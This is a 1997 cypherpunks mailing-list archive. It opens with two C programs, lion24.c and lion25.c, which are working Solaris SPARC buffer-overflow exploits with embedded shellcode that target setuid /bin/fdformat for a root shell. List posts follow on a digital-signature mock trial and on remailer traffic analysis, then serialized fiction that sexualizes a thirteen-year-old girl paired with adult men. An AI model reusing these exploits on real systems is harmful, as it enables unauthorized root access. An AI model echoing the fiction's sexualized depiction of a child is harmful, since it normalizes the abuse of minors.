   #define BUF_LENGTH 264
   #define EXTRA 36
   #define STACK_OFFSET -56
   #define SPARC_NOP 0xa61cc013
   
   u_char sparc_shellcode[] =

   "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
   "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
   "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
   "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
   "\x91\xd0\x20\x08"
   ;
   
   u_long get_sp(void)
   {
   __asm__("mov %sp,%i0 \n");
   }
   
   void main(int argc, char *argv[])
   {
   char buf[BUF_LENGTH + EXTRA + 8];
   long targ_addr;
   u_long *long_p;
   u_char *char_p;
   int i, code_length = strlen(sparc_shellcode),dso=0;
   
   if(argc > 1) dso=atoi(argv[1]);
   
   long_p =(u_long *) buf ;
   targ_addr = get_sp() - STACK_OFFSET - dso;
   
   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
   *long_p++ = SPARC_NOP;
   
   char_p = (u_char *) long_p;
   
   for (i = 0; i < code_length; i++)
   *char_p++ = sparc_shellcode[i];
   
   long_p = (u_long *) char_p;
   
   for (i = 0; i < EXTRA / sizeof(u_long); i++)
   *long_p++ =targ_addr;
   
   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
   targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
   execl("/bin/fdformat", "fdformat   ", &buf[0],(char *) 0);
   perror("execl failed");
   }
------------------------------ end of lion24.c --------------------------

-------------------------------- lion25.c ------------------------------
/* 
Solaris 2.5.1 - this exploited was compiled on Solaris2.4 and tested on
2.5.1
*/

   #include <stdio.h>
   #include <stdlib.h>
   #include <sys/types.h>
   #include <unistd.h>
   
   #define BUF_LENGTH 364
   #define EXTRA 400
   #define STACK_OFFSET 704
   #define SPARC_NOP 0xa61cc013
   
   u_char sparc_shellcode[] =

   "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
   "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
   "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
   "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
   "\x91\xd0\x20\x08"
   ;
   
   u_long get_sp(void)
   {
   __asm__("mov %sp,%i0 \n");
   }
   
   void main(int argc, char *argv[])
   {
   char buf[BUF_LENGTH + EXTRA + 8];
   long targ_addr;
   u_long *long_p;
   u_char *char_p;
   int i, code_length = strlen(sparc_shellcode),dso=0;
   
   if(argc > 1) dso=atoi(argv[1]);
   
   long_p =(u_long *) buf ;
   targ_addr = get_sp() - STACK_OFFSET - dso;
   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
   *long_p++ = SPARC_NOP;
   
   char_p = (u_char *) long_p;
   
   for (i = 0; i < code_length; i++)
   *char_p++ = sparc_shellcode[i];
   
   long_p = (u_long *) char_p;
   
   for (i = 0; i < EXTRA / sizeof(u_long); i++)
   *long_p++ =targ_addr;
   
   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
   targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
   execl("/bin/fdformat", "fdformat", & buf[1],(char *) 0);
   perror("execl failed");
   }

--------------------------- end of lion25.c -------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 23 Mar 1997 15:00:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Digital Signature Mock Trial
Message-ID: <v03020902af5b66138012@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


X-PGP-Key: <http://www.shore.net/~sable/info/rltkey.htm>
X-Sender: rodney@pop3.pn.com
Date: Sun, 23 Mar 1997 17:13:25 -0500
To: dcsb@ai.mit.edu
From: Rodney Thayer <rodney@sabletech.com>
Subject: Digital Signature Mock Trial
Mime-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Rodney Thayer <rodney@sabletech.com>

>Date: Fri, 21 Mar 1997 18:37:16 -0500
>From: Dan Greenwood <dan@civics.com>
>
>Digital Signature Mock Trial
>http://www.magnet.state.ma.us/itd/legal/mock1.htm
>
>The Commonwealth of Massachusetts Information Technology Division Legal
>Department will sponsor a mock trial based on a dispute over a digitally
>signed communication. This will be an online event, probably web-based.
>There will also be a half-day "court room" mock trial to be held in
>Boston in the spring. Anyone interested in helping to plan, or
>participate in one or both of these mock trials should contact Dan
>Greenwood at dgreenwood@state.ma.us.
>
>The purpose of this exercise will be to explore legal ramifications of
>deploying digital signature technology as a business tool, including:
>what grounds for a claim (consumer law, financial and banking law,
>common law, other?); what issues arise relative to preserving certain
>evidence for trial; the legal relationship between an "owner"
>(subscriber) of a digital signature, a relying party and a certification
>authority; what other evidentiary admissibility issues arise, how might
>certain contract terms be interpreted (i.e.: what arguments might be
>raised related to liability limitations, rights and duties under
>contract); etc. The case
>will be tried in a fictional jurisdiction and to fictional parties.
>
>The specific factual pattern (i.e.: who are the parties and what
>happened to them) will be developed so as to highlight areas of legal
>uncertainty and maximize the instructional value of this exercise. It is
>expected that this exercise will assist the
>Commonwealth of Massachusetts and other interested parties to more
>efficiently manage liability and to better anticipate legal issues as we
>look to deploy public key based network solutions.


--------
Rodney Thayer <rodney@sabletech.com>
PGP: BB1B6428 409129AC  076B9DE1 4C250DD8
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
If you have questions, write to me at Owner-DCSB@ai.mit.edu

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 23 Mar 1997 15:04:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Dr. Roberts" and his advice to the list
Message-ID: <199703232304.SAA02412@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Timothy C. May wrote:
> At 10:25 AM -0800 3/23/97, "Dr. Roberts" wrote:

> >The remailer network itself may be treated as a black box.  This means
> >that if you suspect certain people are posting messages to a certain
> >list you need only watch the timing of the suspect's posts to verify
> >guesses.  This makes an attack on the remailer network quite
> >inexpensive because you need to monitor a relatively small number of
> >people in your jurisdiction.

> If a mix accumulates, say, 100 messages, and posts one of them to some
> destination, no amount of "timing" analysis points to which of the 100
> incoming messages was the  source...this is the essence of mixes/remailers.
> (Modulo the usual assumptions about message size, encryption, etc.)

  I wouldn't be so certain about this.
  Consider the fact that the remailers can be initially studied through
relatively _pure_ analysis, for starters. i.e. - a series of slow
periods of remailer use where and entity can ensure that almost all
of those 100 messages belong to them.
  Thus the remailer can be studied for non-random patterns that may be
unknown even to the operator himself.

  Then consider the fact that many of the people using remailers have
habits and patterns that can easily be studied and followed. 
  i.e. - Time periods online, standard delay time used in posting
commands, frequency and volume of their posts. 
  You must also consider context and syntax analysis that point to the 
true author of anonymous posts, and the fact that, once known, their
personal systems can be monitored to reveal the exact time and nature
of their input into the remailers.
  Even knowledge of killfiles can eliminate some of the overhead for
traffic analysis, eliminating some sources as being responsible for
volume of anonymous email directed at certain subjects or authors.

  Many of the factors involved in traffic analysis can be obtained
outside of the realm of actual input and output of the remailers
themselves, thus narrowing the range of _unknown_ factors in that
analysis.
  Certainly there has been much thought and consideration given to
the remailer system, by people who allow for various methods of attack
on and/or analysis of their system. However, the assumption of 100
_random_ messages can drop pretty fast when one takes into account
the number of factors that may turn some of these messages into 
quantifiable and easily analyzed entities. Add to this the possibility
of factors that are known to the attackers, but not to the defenders,
and the margin of security drops even further.

  Care must be taken to realize that even if one is making efforts to
conceal their email traffic, that the results of their efforts are
also affected by the person who always posts between 4 and 6 pm, who
always posts via the same remailer and who always uses a 2 hour delay 
command in his posts.
  One needs to remember, as well, that with the capabilities of autobots
and switching mechanisms, that to flood a system or systems at certain
critical times is an insignificant obstacle to inputing a large quantity
of _know_ data into the frame of analysis.
 
> >  Would anybody like to post some references?  What
> >is required to have a rock solid remailer network?
> >
> >Dr. Roberts
> 
> Why not do the research into these references yourself and then post them?

  This is an asinine statement.
  If you are interested in furthering the interests of privacy through 
encryption and remailers, why don't you aide someone asking for pointers
to better information?
  Is this list reserved for those who already know it all?
  Can you say "statist?" Sure, you can.

> As for what it would take to make a rock solid remailer network, go back
> and read some of the many hundreds of articles many of us have written on
> this subject, read Chaum's original 1981 CACM short article, and carefully
> study DC-Nets.

  If all information was in those articles, then I suspect that the
remailers would already be "rock solid."
  Rather than living in the past, as if all possibilities had already
been discussed and decided, it might better serve some list members to
take their hard-earned knowledge and apply it to today's situation,
with new technologies, methodologies, routings, etc.
  Not only have these things changed, but the types and number of
people who use them have also changed, thus changing the scope of
possible approaches to traffic analysis.

TruthMonger


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 23 Mar 1997 16:17:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE ***
Message-ID: <199703240017.TAA05535@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


> >Subject: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE ***

> >They are
> >dropping like flies, unfortunately.
> > use of the remailer to spam people who have
> > already turned off access to their accounts from other sources,

> > The final
> > straw was the use of the remailer to send out several
> > hundred "MAKE MONEY FAST"-style messages to a group of
> > folks who then rebelled or retaliated to the remailer itself;

  Several months ago, someone (Toto, I believe) posted a thoughtful
message suggesting that the burgeoning Internet would result in a
huge influx of carpetbaggers of one sort or another, and that the
established entities, such as lists and remailers, had best be making
plans to deal with the changing frontier or suffer the consequences.
  Another person, whose name escapes me, as she rarely posts, replied
that she thought the post would prove prophetic, much more so than
people believed.

  I mention this mostly to point out that it has been only a short time
since this prediction was made, and it is already coming to fruitation
in more than a few areas.
  Survival is going to mean adjustment to the fast changing conditions
of the growing Internet. Social and political issues are going to impact
developments as much or more than technology, and any entity which 
cannot adapt in these areas will die off, like the dinosaurs.

  While I sympathize with the remailer operators for having to deal with
spamming problems, spammers and assholes did not suddenly appear out of
nowhere in the recent past.
  The quickening pace of changes in the future will no longer allow
system operators and administrators to wait until problems become
unmanageable before they make plans to deal with them.

  In addition to pure anonymous remailers, perhaps there is a need for
variations, as well, which encompass varying forms of subscription or
authentication. Perhaps limiting the number of posts from an address,
raising that limit according to gained reputation capital.
  As far as anonymity being maintained, is it possible for the system
files which log identity/address to be encrypted with a password that
is not known to any human, but only to the system? i.e. - even with a
court order, there is no way for the operator to provide the info.
  Lessening the legal hassles could spread the use of remailers, with
many being resistant to abuse. Those to whom the anonymity is very
important would not have any problem finding the remaining pure 
remailers. Most of the quick-buck crowd would probably not make the 
effort to find them, having assumed, from the spam resistant remailers,
that they are not a valid option for them.

  If cypherpunks are serious about making remailers available to the 
public then we will need to make them both useable and functional for
those who might be open to running them.
  This cannot be done by making them only useful for 'pure' use. If 
someone were to design a remailer that would only let whites use it,
there would be a great hue and cry, but there would also be more 
remailers available, shortly thereafter. Then someone would design one 
that could only be used for minorities, etc.

  If you really want to spread the use of remailers, design them so that
you can make a pile of money off of them, in a good way. Then get rich
while you further their development and use.
  

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Sun, 23 Mar 1997 16:24:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 10-11
Message-ID: <3335C9C8.ADC@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet






:

Anon-To: cypherpunks@toad.com
Anon-Sender: Bubba Rom Dos <bubba@dev.null>
Anon-Reply To: gnu@toad.com
Cutmarks: --


The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


The God Channel


But I was talking about insanity, and I'm afraid
I've strayed rather far from my original train of thought.

There are no windows on Level 'Leven. There is no
way to keep track of the time of day, or even the passing of the
days. Meals are served at random times and the staff have erratic
schedules. It's done to keep the inmates off balance but it doesn't
really matter-because no one ever gets out of Level 'Leven.

Like I said, I'm not a Fund'er, I'm a Net'er, but
no one will ever believe me, because I'm in a Money Market facility.
And that just doesn't happen. Everybody knows that.

You see, on WebWorld the Channel Governments are
all independent of each other, with their own institutional and
social structures. The CG's don't like their citizens to mix-numbers
and ratings are everything.
There are five hundred different sets of laws, which one would
think would be confusing, but in practice it's not. Each CG has
their own policing system and the citizens acquire a thorough
understanding of what their social duties are through constant
exposure to their Channel.

You see, citizens are only allowed by law to watch
their own Channel.
Surprised? So were the citizens after the transfer of power.

At first they were ecstatic about the changes. For
the first month everyone received all five hundred channels absolutely
free, giving them time to decide which Channel to become citizens
of. 
And there were incentives-prizes, parties, free meals, free vacations.

The Sex Channel offered some rather interesting incentives
for new citizens. They did quite well in the final ratings (what
had formerly been called 'election results'), despite fierce competition
from the S&M Channel, the Group Sex Channel, the Lesbian Channel,
the 'Buck Futters' Channel, and a host of minor players vying
for the same basic audience.
The Credit Channel offered extravagant credit ratings to new citizens
(you can guess how long that lasted after they had committed themselves
to Card'er citizenship).

Anyway, I'm sure you get the picture.

At the end of the first month the 500 Channel Transition
Committee announced that, everyone now being citizenized, citizens
would be restricted to watching only their own Government Channel
for a one month period, in order for the citizens to become acquainted
to the new forms of society, their own in particular, without
distraction.
There was quite a bit of grumbling but, since the Channels continued
their promotional antics (and because the citizens had chosen
to join Channels corresponding to their major interest), things
went not only very smoothly but also quite pleasantly.
By the end of the one month restriction people were beginning
to look forward to more variety in their cerebral and visual diet
but the CG Transition Committee then announced that, due to some
rather complicated changes in the satellite transmission programming,
it would be another few weeks before the 500 Channels would be
available to everyone.

At this point there was again a lot of complaining,
but the CGTC announced that this would be an excellent time for
each Channel Government to use the interactive features of the
medium to get input from their citizens for a Channel Bill of
Rights for each individual Channel's citizens. This announcement
was received with great acclaim and, once the process had begun,
several months passed with much haggling back and forth involved.
During this period of time the citizens became rather politically
and emotionally bonded with their Channels.

Although the 500 CG's already had the new Channel-oriented
society mapped out down to the smallest of details, they were
very effective in using the Bill of Rights process to cement the
bond between the citizens and their Channel.
The citizens of each Channel, having the same fundamental interests
as their fellow constituents, would sometimes engage in heated
debates among themselves but, for the most part, they were all
pulling together in the same direction-exactly according to plan.

The individual CG's, while secretly coordinating their activities
through the InterNet, began releasing 'news' flashes and 'special
reports' on their various Channels suggesting, subtly at first,
that the other Channels were working towards including items in
their Bill of Rights that would adversely affect the citizens
of their own Channel's citizens.

There were suggestions that the Fund'ers wanted the
Money Channel to have a say in how large a credit-line the Shopping
Channel could make available to their citizens. The Shop'ers went
ape-shit over this, having joined the Channel with the express
purpose of spending every dime in their possession on 'combination
can opener-mouse traps' with genuine cubic zirconium embedded
in their sides in the shape of Elvis' shaky hips.
Naturally, the Shop'ers Channel Government came to the aid of
their citizens with a great show of bravado and saved the day,
thus earning their constituent's eternal gratitude.

The were rumors of the Top Cop Channel wanting sole
power over law enforcement, which didn't sit well with the Military
Channel, the Citizens Vigilante Channel, the Libertarian Channel,
or any of the various Criminal Channels, such as the Loose Screw
Gun Nut Channel.

You think I'm kidding, don't you?

You have to realize that at the time the Infrared
Fiber Optic Cable System originally made it possible to carry
five hundred channels into each and every home, that there were
only thirty or forty channels currently in existence, and even
those few channels were not uniformly distributed.
When the rush began to take advantage of WebTV's new capabilities,
it was initially a very small rush. Most of the more prudent
corporations and potential investors were reasonably cautious
about rushing into this expanded market and the majority held
back for a while in order to see where the best investment potential
would appear. This was not so with the religious and political
crusaders, the zealots, the fanatics, the extremists, the radicals,
and the 'just plain lunatics' in general. 
Every nutcase with a cause, a product, or plain and simple illusions
of grandeur, crawled out of the woodwork intending to use this
vast new hi-tech environment to further their own personal 'cause
celebre'. 

Believe it or not, the Loose Screw Gun Nut Channel,
generally known as the Gun'ers, was far from the most bizarre
of the original channel offerings.

By the time the enormous potential of this new technology
became obvious, the majority of the channels were already in the
hands of the lunatic fringe of the proletariat. The serious corporate
and political powers already 'in the loop' endeavored to keep
it that way in order to secure their advantage over potential
rivals capable of offering them genuine competition.

The smallest of the Channels was the God Channel,
which had only one member. It has always been a mystery as to
just who that member was-no one having ever seen him (or her)-but
there was much speculation on this point, especially among the
other religious Channels.

The Dualist Channel had only two members, the Trinity
Channel had three, but after Channel War I, when Channel ownership
went through drastic changes, the God Channel was the only one
of the three still in existence, and something strange occurred
which resulted in troubling consequences for the InterNet (which
actually formed-although it was no longer commonly known-the root
of the basic communication and database link for the whole planet).

There are many versions or explanations of what happened,
no two of them the same. Those in the best position to know, however,
are in basic agreement with the explanation privately espoused
by the InterNet's premier Computer Cowboy who, according to legend,
was the Head Hacker who was later linked in the mythology of the
'Circle of Eunuchs' to the lineage of the Fool and the GrandMaster.

The Cowboy, as he was called, followed the auditing
trail of all Channel ownership's from their inception through
to the point of their reorganization at the end of Channel War
I. According to the audit trail-so he claimed-the Dualist Channel
and the Trinity Channel did not actually cease to exist, at that
time, but had instead merely merged with the God Channel. 
This merger necessitated changing the records concerning the number
of Channel members in the God Channel's database. The InterNet
transaction logs indicated that the accounting records were changed
accurately, and in accordance with established procedure, but
the change somehow resulted in a strange and puzzling paradox
that caused bizarre errors throughout the whole InterNet computer
system.

The InterNet started experiencing random problems
all tied to inaccuracies in mathematical calculations occurring
in even the most rudimentary operations. This wreaked havoc throughout
the system for several days, perplexing even the most vaunted
of the InterNet's system analysts, until the Cowboy finally nailed
down the source of the problem.
He found that the database field recording the number of members
of the God Channel would change inexplicably in the midst of the
ongoing system audit checks which went on constantly in the operating
system background for the purpose of maintaining and verifying
data integrity. He told the System Management Board that, as the
system analysts had confirmed, all of the programs and procedures
were flawless and that everyone was in agreement that what was
happening was, in a word...impossible.

The Cowboy explained that he had even tried changing
the physical location of the data field, storing it in a ROM chip
(Read Only Memory) which the computer could not write to (and
thus could not change the content thereof), but could merely read
the value which was already stored-hard coded-therein.
The results were the same, regardless. Sometimes the system would
report back the Channel membership as one, sometimes as two, sometimes
as three, often differing in a matter of microseconds between
auditing checks.
Even worse, the results would change to various numbers ranging
from 1 to infinity at times which corresponded to the ancient
holy days of obscure religious sects from the past.

The systems analysts had even tried writing a program
which the system could reference without having to physically
read the ROM chip, a program which would give a constant result.
Even this didn't work (once again, mathematically impossible).

The InterNet management, faced with an impossible
paradox that was threatening not only the integrity, but the very
existence, of their system, was in a total panic and called an
emergency meeting of everyone involved. The meeting had come within
a hairbreadth of turning into total cyberhysteria when the Cowboy
came in, announcing to one and all that he had consulted with
a bottle of Jack Daniel's and another old friend, that the problem
was now resolved, and that there would be no further trouble in
this area.

The Cowboy resisted all efforts by the others to
garner specific details concerning his announcement, and he merely
replied that answering their questions would only replace one
mystery with another.
Even though he was questioned, threatened, offered bribes, and
put under constant surveillance by InterNet security forces, no
one ever learned the secret of how he had resolved the paradox,
nor whom he had consulted.

Until now.


Cowboy


The Cowboy had taken the time to dash off a hasty
email message to gomez@basis.inc, requesting a conference with
Bubba Rom Dos, ASAP, at the Last Chance Saloon. 

He removed all traces of the message from the InterNet
system, including the audit trail (technically impossible and
actually a felony), and scooted out the door to a rendezvous with
a legendary character from a mythological fable, who was waiting
for him in a back room at the Last Chance Saloon with a bottle
of Jack Daniel's, two glasses, a thirteen year-old nymphomaniac,
and a serious head-start in the "great race against sobriety",
as he so eloquently put it.

Bubba, a good friend of the nubile young girl's mother,
liked to drag her around with him for the purpose of perpetuating
the nefarious reputation he had garnered at the "original
allegorical meeting of the nonexistent Magic Circle", which
had in turn led to the "imaginary formation of the mythical
Circle of Eunuchs".
The preceding is the manner in which Bubba always replied to questions
regarding whether or not his tales of the Magic Circle were real
or parabolic (a term Bubba used to designate a parable distorted
by the effects of alcoholic delirium tremors).
The Cowboy always assumed this to mean that Bubba's explanation
was a Zen koan which, given long years of dedicated contemplation,
would lead one to the realization that the only aspect of the
myth that is true is the Jack Daniel's.

But I digress.

The solution to InterNet's dilemma was no problem
for Bubba. He merely let out a laugh, knocked back a healthy shot
of J.D. and said, "Oh yes. The 'Inaugural Enigma'."

He advised the Cowboy to install two separate entry
circuits at diametrically opposed points on a ROM chip that has
been hard-coded to the value NULL, using a diamond-laser Void
Enhancer. After that, he said, it was a simple matter of programming
the chip setting from both entry points simultaneously, one setting
it to the value 'zero' and the other setting it to the value 'infinity'.

The Cowboy contended that it was impossible to accomplish
a simultaneous dual hard-coding with the present state of technology,
but Bubba merely replied that it didn't really matter because
the problem the Cowboy was attempting to resolve was also impossible,
and that two paradoxes nullify each other, leaving only an enigma
in their wake, which was, after all, what caused all the trouble
in the first place.

Bubba leaned back in his chair, gave the young girl
a peck on the cheek, and drifted off to sleep.

The Cowboy, feeling perplexed and confused, quietly
made his exit, pausing at the door to glance back at the young
girl, who was softly stroking Bubba's brow. He had known the girl
and her mother for some time, but he had the mysterious feeling
that, somehow, there was much more to her than was apparent on
the surface.
The girl saw him watching her, and she gave him a shy, blushing
smile saying, "Try it. You might be surprised."

The Cowboy often wondered if she was reading his
mind, or if she was referring to Bubba's proposed solution. He
thought about her from time to time, wondering who she really
was, and always felt an uneasy sense of bewilderment that forced
him to think of something else instead.

It was the same feeling he experienced after he had
tried Bubba's solution, with a successful outcome that left an
air of disquieting emptiness in his mind. The system worked perfectly,
as it had before the problem arose. Everything was again exactly
the way it was before, except that something was different.
The same, but different. Another paradox that he instinctively
knew would someday lead to another enigma. The Cowboy reached
behind the system monitor for a bottle of Jack Daniel's he had
tucked away for special occasions. He didn't reach for it to celebrate.
He reached for it because he knew it was real.

The Cowboy reflected for a moment on whether he should
attempt to explain the solution to his InterNet compatriots, but
decided that there was some import of sacredness in the process
that should remain inviolate from those outside the Magic Circle.

He raised a glass in toast to Bubba Rom Dos, itinerant derelict
and philosopher extraordinare...and he thought about the girl.

I know you think I'm crazy. But you're also wondering
how I know all the details of a such a significant event in Channel
history that has remained unexplained for years. 
And you're wondering about the girl.

So am I. The legend is true...I was the Cowboy.


Chapter 10 - The God Channel / Chapter 11 - Cowboy


--
S a n d y 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Sun, 23 Mar 1997 17:56:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 12-14
Message-ID: <3335DEBF.5002@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Priscilla


"Lordy, lordy, Bubba.", Priscilla half-protested, "Are
you sure that it's not something else?" She knew that it
wasn't, so she did not wait for a reply before violently protesting.

"No, it can't be! It's not right! I won't allow it...not
in a million years. She's too young...It's too dangerous...Surely
he can't expect...

"He doesn't even suspect," Bubba pointed out,
"so he is not 'expecting' anything of Alexis."

Bubba knew that pointing out the obvious was fairly useless when
confronted with a mother's rightful concern over her daughter
quite possibly facing a destiny which would surely thrust her
directly from the pangs and throes of puberty into trials and
tribulations that would sorely test the strength and wisdom of
the most mature of souls fated to play a role in the great battle
taking shape to bring a final determination of the path of human
evolution.

"She's just a girl, Bubba." Priscilla was weeping,
now-resigned to, but not accepting, her daughter's destiny, should
she choose to follow it, to become a major participant in a legendary
movement whose history was strewn with many more sacrificial lambs
than vanquishing heroes.
"She's just a little girl." Priscilla looked with sadness
on her precious young daughter, who was oblivious to the discussion
between her mother and the wizened sage who had been responsible
for seeing her through the many odd twists and turns of life during
her formative years.

Bubba Rom Dos leaned forward and tapped Alexis lightly on the
forehead, and she answered the question which remained unspoken,
naturally, without noticing that she was speaking from an inner
point of her being.
"I suppose that the Cowboy is, realistically, much too old
for me. For us to have a physical relationship, I mean. I think
that I scared him the last time he came to visit Bubba."

Alexis laughed at the thought of her scaring the legendary
Cowboy, and then, to the surprise, partial delight, and
extreme consternation of Priscilla, threw her head back and laughed
the full, hearty laugh of a mature woman who knew that
her femininity and, what's more, her presence, had indeed
scared the hell out of a fully-grown, mature member of the male
species.
"Oh, Alexis. My darling Alexis."

Priscilla had thrown her arms around her daughter, and she was
now bawling like a baby over what she knew would shortly be the
passing of her daughter from pre-pubescence to maturity, with
her adolescence being abridged for the sake of a destiny which
was closing too quickly upon all of humanity to pause long enough
to allow a beautiful young girl to taste all of the flavors of
youth that should have rightfully been hers, as a matter of normal
human evolution.

Bubba tapped Alexis lightly on the forehead, once again, and she
saw, clearly, what the Cowboy had seen, but without confusion
and wonder as to the meaning of the sense of connection she felt
between them.

"Oh, my! Oh, my poor, sweet mother, don't feel sorry for
me."
Alexis hugged her mother close to her, trying to reassure her
that all was well, that all was as it should be (though
the realization of what lay before her was rather startling,
given the abrupt change of direction that it meant in her life).
She then consummated her entry into the maturity of full womanhood
by exclaiming what women have uttered from time immemorial upon
truly discovering that 'a man', their man, has entered
into their life.

"What the hell is wrong with him, mother? You'd think
I was some strange creature from another planet, or something.
He just looked at me, like I was some kind of problem
that he couldn't figure out! If he had any sense, any sense at
all, he would have swept me into his arms, kissed me passionately,
and declared to one and all how blessed he was to have such a
wonderful woman like me in his life."

Priscilla was now laughing through her tears, ready to accept
that her precious young daughter-having discovered for herself
the ultimate folly of the male species, the folly of being confused
by the obvious in matters pertaining to the linking of their heart
and their soul to the yin of their yang-had made the leap from
girlhood to womanhood without stumbling in the slightest.
"He's a man, dear. That's what's wrong
with him."

Priscilla and Alexis looked at each other, woman to woman, for
the first time, and then looked at Bubba, to see if he had any
objections to raise concerning their profound insights into the
state of the male species.

Bubba, remaining loyal to the unwavering tradition of true men
down through the ages, ignored the challenge to fight against
unwinnable odds against a superior opponent, and simply raised
his shot-glass to his lips while shaking his head and muttering,
under his breath, "Women..."

Priscilla and Alexis looked at one another, and shared a hearty,
womanly laugh, and hugged one another, once again.


Insanity Again


I was trying to explain the concept of 'insanity'
in WebWorld. I got sidetracked again, but I think I've explained
enough of the history of the 500 Channels and the evolution of
WebWorld that I can now make myself clear.

WebWorld never went back to unlimited broadcast of
the 500 Channels. By the time the Channel Governments and their
citizens had all established their own intrinsic Bill of Rights,
the CG's delays had given them time to accomplish the true purpose
of their shrewd maneuvering.
The populace was now oriented to a Channel based mental paradigm,
as opposed to the previous world order's geographical model of
cultural affinity. 

The transformation was complete. Thanks to the hypnotizing
power of the 'Tube', and the extraordinary information compilation
and communication capability of the InterNet, it had taken a matter
of months rather than generations to completely capture the hearts,
minds, and bodies of the populace on a level never before accomplished.

Total world-domination.
No, the control was not entirely complete. The 500 Channel reign
was not yet unequivocally omnipotent, but it would soon be time
for the GrandMaster to be revealed.

But excuse me, please...I digress. 


Each Channel Society, had their own culture, beliefs
and values consolidated around a central nucleus of group-mind
as it had rarely been since the time of primitive tribes striving
for survival against the primal forces that ruled the environment
they found themselves thrown into from the instant they began
their earthly existence.

Evolution had returned full-circle, and mankind was
face to face with a new dawn of the bicameral mind they had shared
at the time of their first appearance upon the material realm.

There was still a substantial vestige of underlying,
ingrained evolutionary patterns that were inherent in the populace
in general-patterns that might lead one to 'stray from the herd'
if they were indulged in to even the slightest extent. Certain
individuals, in particular, had to be culled from the rank and
file in order to avoid the possibility that they might 'contaminate'
the others.

Many people originally tried getting around the Unitary
Channel Circumscription Law, but TV was, by this time, both visual
and sound interactive. Whoever you were looking at on the 'tube'
was, in all likelihood, 'looking back'. Anyone who attempted to
watch a Channel other than their Home Channel was generally apprehended
immediately. Most of the 'wayward sheep' were brought into line
quite easily by a few days of exposure to the Unitary Rehabilitation
Channel. The potentially more serious misfits were culled rather
quickly and sent to psychiatric facilities for an extensive, in-depth
cerebral adjustment.

Each institution graded their inmates at various
levels, according to the amount of treatment they needed (and
their potentiality for 'infecting' less wayward inmates), and
they were then separated accordingly.
The few cases that were deemed to be hopelessly incurable were
quarantined at Level Eleven status with no treatment administered
and no possibility of release...ever.

There was no thought of execution, the current scientific
judgment being that, upon death, the mental energy of the inmate's
ethereal body would return to the group-mind pool (due to the
strong magnetic-gravitational pull engendered by the current level
of homeostasis that had been achieved in the group-mindset of
the general populace), and this would contaminate the unity that
had already achieved.

The injurious and frightful disruption of the InterNet
system (which was commonly referred to as the 'Parker Paradox',
a nickname given to the event by the Computer Cowboy History Channel),
was still viewed by the Channel hierarchy with much trepidation,
as they had seen the results that could come from even a trivial
inaccuracy in an otherwise impeccable macrocosm.

They had never managed to discover the Cowboy's secret
in regard to the resolution of the Parker Paradox and, truth be
known, they actually had no idea what the nature of the problem
really was.

The long and short of the situation was this: For
all of their success in accomplishing an unprecedented mastery
